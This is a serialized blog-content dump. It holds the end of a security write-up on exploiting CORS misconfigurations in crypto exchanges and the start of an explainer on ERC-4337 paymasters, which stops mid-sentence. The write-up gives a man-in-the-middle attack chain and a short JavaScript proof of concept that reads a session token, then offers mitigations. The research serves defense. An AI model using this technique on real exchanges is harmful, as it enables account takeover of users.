",{"type":24,"tag":154,"props":103051,"children":103053},{"className":103052},[],[103054],{"type":29,"value":39029},{"type":24,"tag":395,"props":103056,"children":103058},{"id":103057},"exploit-1",[103059],{"type":29,"value":101389},{"type":24,"tag":25,"props":103061,"children":103062},{},[103063],{"type":29,"value":103064},"To exploit it, we must follow some steps:",{"type":24,"tag":1786,"props":103066,"children":103067},{},[103068,103073,103078],{"type":24,"tag":1790,"props":103069,"children":103070},{},[103071],{"type":29,"value":103072},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":1790,"props":103074,"children":103075},{},[103076],{"type":29,"value":103077},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":1790,"props":103079,"children":103080},{},[103081,103083,103088],{"type":29,"value":103082},"Use ",{"type":24,"tag":154,"props":103084,"children":103086},{"className":103085},[],[103087],{"type":29,"value":39029},{"type":29,"value":103089}," with CORS to do something malicious using the victim's account",{"type":24,"tag":25,"props":103091,"children":103092},{},[103093],{"type":29,"value":103094},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":25,"props":103096,"children":103097},{},[103098,103100,103105],{"type":29,"value":103099},"Once the redirect to the ",{"type":24,"tag":154,"props":103101,"children":103103},{"className":103102},[],[103104],{"type":29,"value":102955},{"type":29,"value":103106}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":147,"props":103108,"children":103110},{"className":32624,"code":103109,"language":32626,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[103111],{"type":24,"tag":154,"props":103112,"children":103113},{"__ignoreMap":7},[103114,103137,103174,103191,103208,103215,103256],{"type":24,"tag":158,"props":103115,"children":103116},{"class":160,"line":161},[103117,103121,103125,103129,103133],{"type":24,"tag":158,"props":103118,"children":103119},{"style":188},[103120],{"type":29,"value":504},{"type":24,"tag":158,"props":103122,"children":103123},{"style":165},[103124],{"type":29,"value":37409},{"type":24,"tag":158,"props":103126,"children":103127},{"style":188},[103128],{"type":29,"value":40961},{"type":24,"tag":158,"props":103130,"children":103131},{"style":165},[103132],{"type":29,"value":16056},{"type":24,"tag":158,"props":103134,"children":103135},{"style":188},[103136],{"type":29,"value":210},{"type":24,"tag":158,"props":103138,"children":103139},{"class":160,"line":213},[103140,103144,103149,103153,103157,103161,103165,103170],{"type":24,"tag":158,"props":103141,"children":103142},{"style":165},[103143],{"type":29,"value":9496},{"type":24,"tag":158,"props":103145,"children":103146},{"style":177},[103147],{"type":29,"value":103148}," res",{"type":24,"tag":158,"props":103150,"children":103151},{"style":222},[103152],{"type":29,"value":462},{"type":24,"tag":158,"props":103154,"children":103155},{"style":1914},[103156],{"type":29,"value":37475},{"type":24,"tag":158,"props":103158,"children":103159},{"style":496},[103160],{"type":29,"value":34191},{"type":24,"tag":158,"props":103162,"children":103163},{"style":188},[103164],{"type":29,"value":504},{"type":24,"tag":158,"props":103166,"children":103167},{"style":1108},[103168],{"type":29,"value":103169},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":158,"props":103171,"children":103172},{"style":188},[103173],{"type":29,"value":50153},{"type":24,"tag":158,"props":103175,"children":103176},{"class":160,"line":238},[103177,103182,103187],{"type":24,"tag":158,"props":103178,"children":103179},{"style":177},[103180],{"type":29,"value":103181}," credentials:",{"type":24,"tag":158,"props":103183,"children":103184},{"style":1108},[103185],{"type":29,"value":103186}," 'include'",{"type":24,"tag":158,"props":103188,"children":103189},{"style":188},[103190],{"type":29,"value":235},{"type":24,"tag":158,"props":103192,"children":103193},{"class":160,"line":259},[103194,103199,103204],{"type":24,"tag":158,"props":103195,"children":103196},{"style":177},[103197],{"type":29,"value":103198}," method:",{"type":24,"tag":158,"props":103200,"children":103201},{"style":1108},[103202],{"type":29,"value":103203}," 'POST'",{"type":24,"tag":158,"props":103205,"children":103206},{"style":188},[103207],{"type":29,"value":235},{"type":24,"tag":158,"props":103209,"children":103210},{"class":160,"line":280},[103211],{"type":24,"tag":158,"props":103212,"children":103213},{"style":188},[103214],{"type":29,"value":99472},{"type":24,"tag":158,"props":103216,"children":103217},{"class":160,"line":301},[103218,103223,103227,103232,103236,103240,103244,103248,103252],{"type":24,"tag":158,"props":103219,"children":103220},{"style":177},[103221],{"type":29,"value":103222}," console",{"type":24,"tag":158,"props":103224,"children":103225},{"style":188},[103226],{"type":29,"value":347},{"type":24,"tag":158,"props":103228,"children":103229},{"style":496},[103230],{"type":29,"value":103231},"log",{"type":24,"tag":158,"props":103233,"children":103234},{"style":188},[103235],{"type":29,"value":504},{"type":24,"tag":158,"props":103237,"children":103238},{"style":1914},[103239],{"type":29,"value":34178},{"type":24,"tag":158,"props":103241,"children":103242},{"style":177},[103243],{"type":29,"value":103148},{"type":24,"tag":158,"props":103245,"children":103246},{"style":188},[103247],{"type":29,"value":347},{"type":24,"tag":158,"props":103249,"children":103250},{"style":496},[103251],{"type":29,"value":35260},{"type":24,"tag":158,"props":103253,"children":103254},{"style":188},[103255],{"type":29,"value":16660},{"type":24,"tag":158,"props":103257,"children":103258},{"class":160,"line":626},[103259],{"type":24,"tag":158,"props":103260,"children":103261},{"style":188},[103262],{"type":29,"value":103263},"})();\n",{"type":24,"tag":25,"props":103265,"children":103266},{},[103267],{"type":29,"value":103268},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":395,"props":103270,"children":103271},{"id":41598},[103272],{"type":29,"value":41601},{"type":24,"tag":25,"props":103274,"children":103275},{},[103276,103278,103283],{"type":29,"value":103277},"As mitigation, it is recommended to remove all ",{"type":24,"tag":154,"props":103279,"children":103281},{"className":103280},[],[103282],{"type":29,"value":102955},{"type":29,"value":103284}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":25,"props":103286,"children":103287},{},[103288],{"type":29,"value":103289},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":59,"props":103291,"children":103292},{"id":30191},[103293],{"type":29,"value":20189},{"type":24,"tag":25,"props":103295,"children":103296},{},[103297],{"type":29,"value":103298},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":25,"props":103300,"children":103301},{},[103302],{"type":29,"value":103303},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":24,"tag":4517,"props":103305,"children":103306},{},[103307],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":103309},[103310,103315,103320],{"id":100994,"depth":213,"text":100997,"children":103311},[103312,103313,103314],{"id":101005,"depth":238,"text":101008},{"id":101362,"depth":238,"text":101365},{"id":102925,"depth":238,"text":102928},{"id":102936,"depth":213,"text":102939,"children":103316},[103317,103318,103319],{"id":103000,"depth":238,"text":103003},{"id":103057,"depth":238,"text":101389},{"id":41598,"depth":238,"text":41601},{"id":30191,"depth":213,"text":20189},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103325,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103326,"description":103327,"date":103328,"author":103329,"image":103330,"isFeatured":16,"onBlogPage":16,"tags":103332,"body":103335,"_type":4536,"_id":109107,"_source":4538,"_file":109108,"_stem":109109,"_extension":4541},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103331,"width":98546,"height":14857},"/posts/paymasters-evm/title.png",[103333,103334],"evm","ERC-4337",{"type":21,"children":103336,"toc":109086},[103337,103341,103352,103357,103362,103367,103373,103379,103384,103389,103395,103400,103428,103434,103439,103446,103451,103461,103466,103492,103498,103518,103524,103544,103552,103583,103616,103625,103637,103662,103674,103687,103730,103736,103769,103868,103887,103910,103915,103921,103949,104096,104101,104128,104134,104146,104158,104167,104202,104207,105692,105720,105741,105746,105758,105767,105772,105790,105813,105818,105824,105878,105884,105917,105952,106776,106812,106848,106914,106947,107445,107498,107510,108074,108143,108170,108792,108834,108861,108873,108934,108953,108987,108992,108997,109002,109006,109011,109046,109072,109077,109082],{"type":24,"tag":36636,"props":103338,"children":103339},{"id":30274},[103340],{"type":29,"value":30277},{"type":24,"tag":25,"props":103342,"children":103343},{},[103344,103350],{"type":24,"tag":101,"props":103345,"children":103348},{"href":103346,"rel":103347},"https://docs.erc4337.io/",[105],[103349],{"type":29,"value":103334},{"type":29,"value":103351}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":25,"props":103353,"children":103354},{},[103355],{"type":29,"value":103356},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":25,"props":103358,"children":103359},{},[103360],{"type":29,"value":103361},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":25,"props":103363,"children":103364},{},[103365],{"type":29,"value":103366},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":36636,"props":103368,"children":103370},{"id":103369},"erc4337-overview",[103371],{"type":29,"value":103372},"ERC4337 Overview",{"type":24,"tag":59,"props":103374,"children":103376},{"id":103375},"traditional-eoas-vs-smart-contract-wallets",[103377],{"type":29,"value":103378},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":25,"props":103380,"children":103381},{},[103382],{"type":29,"value":103383},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":24,"tag":25,"props":103385,"children":103386},{},[103387],{"type":29,"value":103388},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":59,"props":103390,"children":103392},{"id":103391},"why-erc4337-was-introduced",[103393],{"type":29,"value":103394},"Why ERC‑4337 Was Introduced",{"type":24,"tag":25,"props":103396,"children":103397},{},[103398],{"type":29,"value":103399},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":17924,"props":103401,"children":103402},{},[103403,103408,103413,103418,103423],{"type":24,"tag":1790,"props":103404,"children":103405},{},[103406],{"type":29,"value":103407},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":1790,"props":103409,"children":103410},{},[103411],{"type":29,"value":103412},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":1790,"props":103414,"children":103415},{},[103416],{"type":29,"value":103417},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":1790,"props":103419,"children":103420},{},[103421],{"type":29,"value":103422},"Using custom signature schemes or multisig logic",{"type":24,"tag":1790,"props":103424,"children":103425},{},[103426],{"type":29,"value":103427},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":59,"props":103429,"children":103431},{"id":103430},"how-erc-4337-works",[103432],{"type":29,"value":103433},"How ERC-4337 Works",{"type":24,"tag":25,"props":103435,"children":103436},{},[103437],{"type":29,"value":103438},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":25,"props":103440,"children":103441},{},[103442],{"type":24,"tag":84,"props":103443,"children":103445},{"alt":51850,"src":103444},"/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":25,"props":103447,"children":103448},{},[103449],{"type":29,"value":103450},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":395,"props":103452,"children":103454},{"id":103453},"useroperation",[103455],{"type":24,"tag":154,"props":103456,"children":103458},{"className":103457},[],[103459],{"type":29,"value":103460},"UserOperation",{"type":24,"tag":25,"props":103462,"children":103463},{},[103464],{"type":29,"value":103465},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":17924,"props":103467,"children":103468},{},[103469,103474,103479],{"type":24,"tag":1790,"props":103470,"children":103471},{},[103472],{"type":29,"value":103473},"Target contract call(s)",{"type":24,"tag":1790,"props":103475,"children":103476},{},[103477],{"type":29,"value":103478},"Signature or validation metadata",{"type":24,"tag":1790,"props":103480,"children":103481},{},[103482,103484,103490],{"type":29,"value":103483},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":154,"props":103485,"children":103487},{"className":103486},[],[103488],{"type":29,"value":103489},"UserOperations",{"type":29,"value":103491}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":395,"props":103493,"children":103495},{"id":103494},"smart-contract-account",[103496],{"type":29,"value":103497},"Smart Contract Account",{"type":24,"tag":25,"props":103499,"children":103500},{},[103501,103503,103509,103510,103516],{"type":29,"value":103502},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":154,"props":103504,"children":103506},{"className":103505},[],[103507],{"type":29,"value":103508},"validateUserOp()",{"type":29,"value":1826},{"type":24,"tag":154,"props":103511,"children":103513},{"className":103512},[],[103514],{"type":29,"value":103515},"executeUserOp()",{"type":29,"value":103517},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":395,"props":103519,"children":103521},{"id":103520},"bundler",[103522],{"type":29,"value":103523},"Bundler",{"type":24,"tag":25,"props":103525,"children":103526},{},[103527,103529,103534,103536,103542],{"type":29,"value":103528},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":154,"props":103530,"children":103532},{"className":103531},[],[103533],{"type":29,"value":103489},{"type":29,"value":103535},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":154,"props":103537,"children":103539},{"className":103538},[],[103540],{"type":29,"value":103541},"EntryPoint",{"type":29,"value":103543}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":395,"props":103545,"children":103546},{"id":15957},[103547],{"type":24,"tag":154,"props":103548,"children":103550},{"className":103549},[],[103551],{"type":29,"value":103541},{"type":24,"tag":25,"props":103553,"children":103554},{},[103555,103556,103561,103563,103568,103570,103574,103576,103581],{"type":29,"value":17850},{"type":24,"tag":154,"props":103557,"children":103559},{"className":103558},[],[103560],{"type":29,"value":103541},{"type":29,"value":103562}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":154,"props":103564,"children":103566},{"className":103565},[],[103567],{"type":29,"value":103489},{"type":29,"value":103569}," submitted by a ",{"type":24,"tag":897,"props":103571,"children":103572},{},[103573],{"type":29,"value":103523},{"type":29,"value":103575},", the ",{"type":24,"tag":154,"props":103577,"children":103579},{"className":103578},[],[103580],{"type":29,"value":103541},{"type":29,"value":103582}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":25,"props":103584,"children":103585},{},[103586,103588,103593,103595,103599,103601,103606,103608,103614],{"type":29,"value":103587},"Once all operations have been processed, the ",{"type":24,"tag":154,"props":103589,"children":103591},{"className":103590},[],[103592],{"type":29,"value":103541},{"type":29,"value":103594}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":897,"props":103596,"children":103597},{},[103598],{"type":29,"value":103523},{"type":29,"value":103600},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":154,"props":103602,"children":103604},{"className":103603},[],[103605],{"type":29,"value":103541},{"type":29,"value":103607}," or from a ",{"type":24,"tag":154,"props":103609,"children":103611},{"className":103610},[],[103612],{"type":29,"value":103613},"paymaster",{"type":29,"value":103615}," that has agreed to sponsor the transaction.",{"type":24,"tag":395,"props":103617,"children":103618},{"id":103613},[103619],{"type":24,"tag":154,"props":103620,"children":103622},{"className":103621},[],[103623],{"type":29,"value":103624},"Paymaster",{"type":24,"tag":25,"props":103626,"children":103627},{},[103628,103630,103635],{"type":29,"value":103629},"A ",{"type":24,"tag":154,"props":103631,"children":103633},{"className":103632},[],[103634],{"type":29,"value":103613},{"type":29,"value":103636}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":17924,"props":103638,"children":103639},{},[103640,103651],{"type":24,"tag":1790,"props":103641,"children":103642},{},[103643,103649],{"type":24,"tag":154,"props":103644,"children":103646},{"className":103645},[],[103647],{"type":29,"value":103648},"validatePaymasterUserOp()",{"type":29,"value":103650}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":1790,"props":103652,"children":103653},{},[103654,103660],{"type":24,"tag":154,"props":103655,"children":103657},{"className":103656},[],[103658],{"type":29,"value":103659},"postOp()",{"type":29,"value":103661},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":25,"props":103663,"children":103664},{},[103665,103667,103672],{"type":29,"value":103666},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":154,"props":103668,"children":103670},{"className":103669},[],[103671],{"type":29,"value":103613},{"type":29,"value":103673}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":59,"props":103675,"children":103677},{"id":103676},"understanding-the-entrypoints-flow",[103678,103680,103685],{"type":29,"value":103679},"Understanding the ",{"type":24,"tag":154,"props":103681,"children":103683},{"className":103682},[],[103684],{"type":29,"value":103541},{"type":29,"value":103686},"'s Flow",{"type":24,"tag":25,"props":103688,"children":103689},{},[103690,103692,103697,103698,103703,103705,103716,103718,103723,103724,103729],{"type":29,"value":103691},"When a bundler submits ",{"type":24,"tag":154,"props":103693,"children":103695},{"className":103694},[],[103696],{"type":29,"value":103489},{"type":29,"value":17648},{"type":24,"tag":154,"props":103699,"children":103701},{"className":103700},[],[103702],{"type":29,"value":103541},{"type":29,"value":103704}," contract via ",{"type":24,"tag":101,"props":103706,"children":103709},{"href":103707,"rel":103708},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[105],[103710],{"type":24,"tag":154,"props":103711,"children":103713},{"className":103712},[],[103714],{"type":29,"value":103715},"handleOps()",{"type":29,"value":103717},", the processing occurs in two main phases: ",{"type":24,"tag":897,"props":103719,"children":103720},{},[103721],{"type":29,"value":103722},"Validation",{"type":29,"value":1826},{"type":24,"tag":897,"props":103725,"children":103726},{},[103727],{"type":29,"value":103728},"Execution",{"type":29,"value":347},{"type":24,"tag":395,"props":103731,"children":103733},{"id":103732},"validation-phase",[103734],{"type":29,"value":103735},"Validation Phase",{"type":24,"tag":25,"props":103737,"children":103738},{},[103739,103741,103746,103748,103754,103756,103762,103763,103768],{"type":29,"value":103740},"In this phase, the ",{"type":24,"tag":154,"props":103742,"children":103744},{"className":103743},[],[103745],{"type":29,"value":103541},{"type":29,"value":103747}," first validates all operations in the submitted ",{"type":24,"tag":154,"props":103749,"children":103751},{"className":103750},[],[103752],{"type":29,"value":103753},"UserOps",{"type":29,"value":103755}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":154,"props":103757,"children":103759},{"className":103758},[],[103760],{"type":29,"value":103761},"UserOp",{"type":29,"value":103575},{"type":24,"tag":154,"props":103764,"children":103766},{"className":103765},[],[103767],{"type":29,"value":103541},{"type":29,"value":225},{"type":24,"tag":1786,"props":103770,"children":103771},{},[103772,103790,103808,103829,103841],{"type":24,"tag":1790,"props":103773,"children":103774},{},[103775,103782,103784],{"type":24,"tag":101,"props":103776,"children":103779},{"href":103777,"rel":103778},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[105],[103780],{"type":29,"value":103781},"Calculates",{"type":29,"value":103783}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":154,"props":103785,"children":103787},{"className":103786},[],[103788],{"type":29,"value":103789},"maxFeePerGas",{"type":24,"tag":1790,"props":103791,"children":103792},{},[103793,103800,103801,103806],{"type":24,"tag":101,"props":103794,"children":103797},{"href":103795,"rel":103796},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[105],[103798],{"type":29,"value":103799},"Calls",{"type":29,"value":8106},{"type":24,"tag":154,"props":103802,"children":103804},{"className":103803},[],[103805],{"type":29,"value":103508},{"type":29,"value":103807}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":1790,"props":103809,"children":103810},{},[103811,103813,103820,103822,103827],{"type":29,"value":103812},"If no paymaster is specified, attempts to ",{"type":24,"tag":101,"props":103814,"children":103817},{"href":103815,"rel":103816},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[105],[103818],{"type":29,"value":103819},"deduct",{"type":29,"value":103821}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":154,"props":103823,"children":103825},{"className":103824},[],[103826],{"type":29,"value":103541},{"type":29,"value":103828}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":1790,"props":103830,"children":103831},{},[103832,103839],{"type":24,"tag":101,"props":103833,"children":103836},{"href":103834,"rel":103835},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[105],[103837],{"type":29,"value":103838},"Validates",{"type":29,"value":103840}," the nonce to prevent replay attacks",{"type":24,"tag":1790,"props":103842,"children":103843},{},[103844,103846,103852,103854,103860,103861,103866],{"type":29,"value":103845},"If a paymaster is specified, it will ",{"type":24,"tag":101,"props":103847,"children":103850},{"href":103848,"rel":103849},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[105],[103851],{"type":29,"value":103819},{"type":29,"value":103853}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":101,"props":103855,"children":103858},{"href":103856,"rel":103857},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[105],[103859],{"type":29,"value":39560},{"type":29,"value":8106},{"type":24,"tag":154,"props":103862,"children":103864},{"className":103863},[],[103865],{"type":29,"value":103648},{"type":29,"value":103867}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":25,"props":103869,"children":103870},{},[103871,103873,103878,103880,103885],{"type":29,"value":103872},"Only after all these validation checks pass will the ",{"type":24,"tag":154,"props":103874,"children":103876},{"className":103875},[],[103877],{"type":29,"value":103541},{"type":29,"value":103879}," move on to actually executing the ",{"type":24,"tag":154,"props":103881,"children":103883},{"className":103882},[],[103884],{"type":29,"value":103460},{"type":29,"value":103886},". This strict validation flow ensures that:",{"type":24,"tag":17924,"props":103888,"children":103889},{},[103890,103895,103900,103905],{"type":24,"tag":1790,"props":103891,"children":103892},{},[103893],{"type":29,"value":103894},"The operation is legitimate and authorized by the user",{"type":24,"tag":1790,"props":103896,"children":103897},{},[103898],{"type":29,"value":103899},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":1790,"props":103901,"children":103902},{},[103903],{"type":29,"value":103904},"The operation cannot be replayed",{"type":24,"tag":1790,"props":103906,"children":103907},{},[103908],{"type":29,"value":103909},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":25,"props":103911,"children":103912},{},[103913],{"type":29,"value":103914},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":395,"props":103916,"children":103918},{"id":103917},"execution-phase",[103919],{"type":29,"value":103920},"Execution Phase",{"type":24,"tag":25,"props":103922,"children":103923},{},[103924,103926,103931,103933,103940,103942,103947],{"type":29,"value":103925},"After all operations have passed validation, the ",{"type":24,"tag":154,"props":103927,"children":103929},{"className":103928},[],[103930],{"type":29,"value":103541},{"type":29,"value":103932}," begins the ",{"type":24,"tag":101,"props":103934,"children":103937},{"href":103935,"rel":103936},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[105],[103938],{"type":29,"value":103939},"execution",{"type":29,"value":103941}," phase, processing each ",{"type":24,"tag":154,"props":103943,"children":103945},{"className":103944},[],[103946],{"type":29,"value":103460},{"type":29,"value":103948}," individually. For each operation, the flow is:",{"type":24,"tag":1786,"props":103950,"children":103951},{},[103952,104012,104058],{"type":24,"tag":1790,"props":103953,"children":103954},{},[103955,103956,103961,103963,103969,103970,103976,103978],{"type":29,"value":17850},{"type":24,"tag":154,"props":103957,"children":103959},{"className":103958},[],[103960],{"type":29,"value":103541},{"type":29,"value":103962}," makes a ",{"type":24,"tag":101,"props":103964,"children":103967},{"href":103965,"rel":103966},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[105],[103968],{"type":29,"value":39560},{"type":29,"value":58049},{"type":24,"tag":154,"props":103971,"children":103973},{"className":103972},[],[103974],{"type":29,"value":103975},"innerHandleOp()",{"type":29,"value":103977},", which:\n",{"type":24,"tag":17924,"props":103979,"children":103980},{},[103981,103993,103998],{"type":24,"tag":1790,"props":103982,"children":103983},{},[103984,103991],{"type":24,"tag":101,"props":103985,"children":103988},{"href":103986,"rel":103987},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[105],[103989],{"type":29,"value":103990},"Forwards",{"type":29,"value":103992}," the operation to the sender's smart account contract",{"type":24,"tag":1790,"props":103994,"children":103995},{},[103996],{"type":29,"value":103997},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":1790,"props":103999,"children":104000},{},[104001,104003,104010],{"type":29,"value":104002},"Handles ",{"type":24,"tag":101,"props":104004,"children":104007},{"href":104005,"rel":104006},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[105],[104008],{"type":29,"value":104009},"post-execution",{"type":29,"value":104011}," tasks and cleanup",{"type":24,"tag":1790,"props":104013,"children":104014},{},[104015,104017,104023,104025,104031,104032,104038,104040],{"type":29,"value":104016},"If a paymaster was used, ",{"type":24,"tag":154,"props":104018,"children":104020},{"className":104019},[],[104021],{"type":29,"value":104022},"Entrypoint",{"type":29,"value":104024}," will ",{"type":24,"tag":101,"props":104026,"children":104029},{"href":104027,"rel":104028},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[105],[104030],{"type":29,"value":39560},{"type":29,"value":8106},{"type":24,"tag":154,"props":104033,"children":104035},{"className":104034},[],[104036],{"type":29,"value":104037},"paymaster.postOp()",{"type":29,"value":104039}," to:\n",{"type":24,"tag":17924,"props":104041,"children":104042},{},[104043,104048,104053],{"type":24,"tag":1790,"props":104044,"children":104045},{},[104046],{"type":29,"value":104047},"Allow paymaster to finalize its accounting",{"type":24,"tag":1790,"props":104049,"children":104050},{},[104051],{"type":29,"value":104052},"Process any refunds or additional charges",{"type":24,"tag":1790,"props":104054,"children":104055},{},[104056],{"type":29,"value":104057},"Complete any paymaster-specific logic",{"type":24,"tag":1790,"props":104059,"children":104060},{},[104061,104063,104068,104069,104076,104078],{"type":29,"value":104062},"Finally, after all operations are processed, the ",{"type":24,"tag":154,"props":104064,"children":104066},{"className":104065},[],[104067],{"type":29,"value":103541},{"type":29,"value":8106},{"type":24,"tag":101,"props":104070,"children":104073},{"href":104071,"rel":104072},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[105],[104074],{"type":29,"value":104075},"compensates",{"type":29,"value":104077}," the bundler for:\n",{"type":24,"tag":17924,"props":104079,"children":104080},{},[104081,104086,104091],{"type":24,"tag":1790,"props":104082,"children":104083},{},[104084],{"type":29,"value":104085},"Gas costs from executing all operations",{"type":24,"tag":1790,"props":104087,"children":104088},{},[104089],{"type":29,"value":104090},"Overhead from submitting the batch transaction",{"type":24,"tag":1790,"props":104092,"children":104093},{},[104094],{"type":29,"value":104095},"Any unused gas, which is refunded",{"type":24,"tag":25,"props":104097,"children":104098},{},[104099],{"type":29,"value":104100},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission 